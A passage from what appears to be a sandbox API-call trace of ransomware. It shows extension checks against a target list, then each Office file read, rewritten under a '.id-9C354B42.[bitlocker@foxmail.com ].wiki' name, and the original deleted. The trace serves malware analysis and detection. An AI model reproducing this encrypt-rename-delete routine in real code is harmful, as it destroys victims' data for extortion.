Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.111] lstrlenW (lpString=".doc") returned 4 [0190.111] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString=".docx") returned 5 [0190.111] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0190.111] lstrlenW (lpString=".pdf") returned 4 [0190.111] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString=".xls") returned 4 [0190.111] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString=".xlsx") returned 5 [0190.111] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0190.111] lstrlenW (lpString=".ppt") returned 4 [0190.111] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.111] lstrlenW (lpString=".zip") returned 4 [0190.111] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString=".rar") returned 4 [0190.111] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0190.111] lstrlenW (lpString=".bz2") returned 4 [0190.111] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0190.111] lstrlenW (lpString=".7z") returned 3 [0190.111] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0190.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.111] lstrlenW (lpString=".dbf") returned 4 [0190.111] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0190.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.112] lstrlenW (lpString=".1cd") returned 4 [0190.112] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0190.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0190.112] lstrlenW (lpString=".jpg") returned 4 [0190.112] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0190.112] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0190.112] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0190.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0190.112] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=24976) returned 1 [0190.112] CloseHandle (hObject=0x20c) returned 1 [0190.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0190.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0190.113] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.113] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.113] GetLastError () returned 0x0 [0190.113] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x6190, lpOverlapped=0x0) returned 1 [0190.116] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x61a0, lpOverlapped=0x0) returned 1 [0190.117] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.117] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0190.117] SetEndOfFile (hFile=0x1dc) returned 1 [0190.117] CloseHandle (hObject=0x1dc) returned 1 [0190.117] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.117] SetEndOfFile (hFile=0x20c) returned 1 [0190.118] CloseHandle (hObject=0x20c) returned 1 [0190.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.118] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 1 [0190.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.119] lstrlenW (lpString=".doc") returned 4 [0190.119] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.119] lstrlenW (lpString=".docx") returned 5 [0190.119] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0190.119] lstrlenW (lpString=".pdf") returned 4 [0190.119] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.119] lstrlenW (lpString=".xls") returned 4 [0190.119] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.119] lstrlenW (lpString=".xlsx") returned 5 [0190.119] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0190.119] lstrlenW (lpString=".ppt") returned 4 [0190.119] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.119] lstrlenW (lpString=".zip") returned 4 [0190.119] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.119] lstrlenW (lpString=".rar") returned 4 [0190.119] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.119] lstrlenW (lpString=".bz2") returned 4 [0190.119] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.119] lstrlenW (lpString=".7z") returned 3 [0190.119] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.119] lstrlenW (lpString=".dbf") returned 4 [0190.119] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.119] lstrlenW (lpString=".1cd") returned 4 [0190.119] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.120] lstrlenW (lpString=".jpg") returned 4 [0190.120] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.120] lstrlenW (lpString=".doc") returned 4 [0190.120] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString=".docx") returned 5 [0190.120] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0190.120] lstrlenW (lpString=".pdf") returned 4 [0190.120] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString=".xls") returned 4 [0190.120] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString=".xlsx") returned 5 [0190.120] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0190.120] lstrlenW (lpString=".ppt") returned 4 [0190.120] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.120] lstrlenW (lpString=".zip") returned 4 [0190.120] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString=".rar") returned 4 [0190.120] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.120] lstrlenW (lpString=".bz2") returned 4 [0190.120] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.120] lstrlenW (lpString=".7z") returned 3 [0190.120] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.120] lstrlenW (lpString=".dbf") returned 4 [0190.120] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.120] lstrlenW (lpString=".1cd") returned 4 [0190.120] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0190.121] lstrlenW (lpString=".jpg") returned 4 [0190.121] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.121] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0190.121] lstrlenW (lpString="Oarpmany.exe") returned 12 [0190.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0190.121] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=232840) returned 1 [0190.121] CloseHandle (hObject=0x20c) returned 1 [0190.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0190.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0190.121] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.122] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.122] GetLastError () returned 0x0 [0190.122] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x38d88, lpOverlapped=0x0) returned 1 [0190.128] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x38d90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x38d90, lpOverlapped=0x0) returned 1 [0190.132] ReadFile (in: hFile=0x20c, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.132] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.133] SetEndOfFile (hFile=0x1dc) returned 1 [0190.133] CloseHandle (hObject=0x1dc) returned 1 [0190.133] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.133] SetEndOfFile (hFile=0x20c) returned 1 [0190.438] CloseHandle (hObject=0x20c) returned 1 [0190.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.438] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 1 [0190.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.438] lstrlenW (lpString=".doc") returned 4 [0190.438] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0190.438] lstrlenW (lpString=".docx") returned 5 [0190.438] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0190.438] lstrlenW (lpString=".pdf") returned 4 [0190.438] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0190.438] lstrlenW (lpString=".xls") returned 4 [0190.438] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0190.438] lstrlenW (lpString=".xlsx") returned 5 [0190.438] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0190.438] lstrlenW (lpString=".ppt") returned 4 [0190.439] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0190.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.439] lstrlenW (lpString=".zip") returned 4 [0190.439] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0190.439] lstrlenW (lpString=".rar") returned 4 [0190.439] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0190.439] lstrlenW (lpString=".bz2") returned 4 [0190.439] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0190.439] lstrlenW (lpString=".7z") returned 3 [0190.439] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0190.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.439] lstrlenW (lpString=".dbf") returned 4 [0190.439] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0190.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.439] lstrlenW (lpString=".1cd") returned 4 [0190.439] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0190.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.439] lstrlenW (lpString=".jpg") returned 4 [0190.439] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0190.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.439] lstrlenW (lpString=".doc") returned 4 [0190.439] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0190.439] lstrlenW (lpString=".docx") returned 5 [0190.439] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0190.439] lstrlenW (lpString=".pdf") returned 4 [0190.439] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0190.439] lstrlenW (lpString=".xls") returned 4 [0190.439] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0190.439] lstrlenW (lpString=".xlsx") returned 5 [0190.439] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0190.440] lstrlenW (lpString=".ppt") returned 4 [0190.440] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0190.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.440] lstrlenW (lpString=".zip") returned 4 [0190.440] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0190.440] lstrlenW (lpString=".rar") returned 4 [0190.440] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0190.440] lstrlenW (lpString=".bz2") returned 4 [0190.440] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0190.440] lstrlenW (lpString=".7z") returned 3 [0190.440] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0190.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.440] lstrlenW (lpString=".dbf") returned 4 [0190.440] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0190.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.440] lstrlenW (lpString=".1cd") returned 4 [0190.440] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0190.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0190.440] lstrlenW (lpString=".jpg") returned 4 [0190.440] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0190.440] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0190.440] lstrlenW (lpString="promointl.dll") returned 13 [0190.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0191.262] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=15760) returned 1 [0191.262] CloseHandle (hObject=0x220) returned 1 [0191.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0191.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.853] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.853] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0192.174] GetLastError () returned 0x0 [0192.174] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0192.183] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0192.187] ReadFile (in: hFile=0x1e4, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.187] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xee, lpOverlapped=0x0) returned 1 [0192.187] SetEndOfFile (hFile=0x1cc) returned 1 [0192.187] CloseHandle (hObject=0x1cc) returned 1 [0192.187] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.187] SetEndOfFile (hFile=0x1e4) returned 1 [0192.188] CloseHandle (hObject=0x1e4) returned 1 [0192.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.188] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 1 [0192.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.188] lstrlenW (lpString=".doc") returned 4 [0192.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString=".docx") returned 5 [0192.189] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0192.189] lstrlenW (lpString=".pdf") returned 4 [0192.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString=".xls") returned 4 [0192.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString=".xlsx") returned 5 [0192.189] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0192.189] lstrlenW (lpString=".ppt") returned 4 [0192.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.189] lstrlenW (lpString=".zip") returned 4 [0192.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString=".rar") returned 4 [0192.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString=".bz2") returned 4 [0192.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.189] lstrlenW (lpString=".7z") returned 3 [0192.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.189] lstrlenW (lpString=".dbf") returned 4 [0192.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.189] lstrlenW (lpString=".1cd") returned 4 [0192.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.189] lstrlenW (lpString=".jpg") returned 4 [0192.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0192.189] lstrlenW (lpString=".doc") returned 4 [0192.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 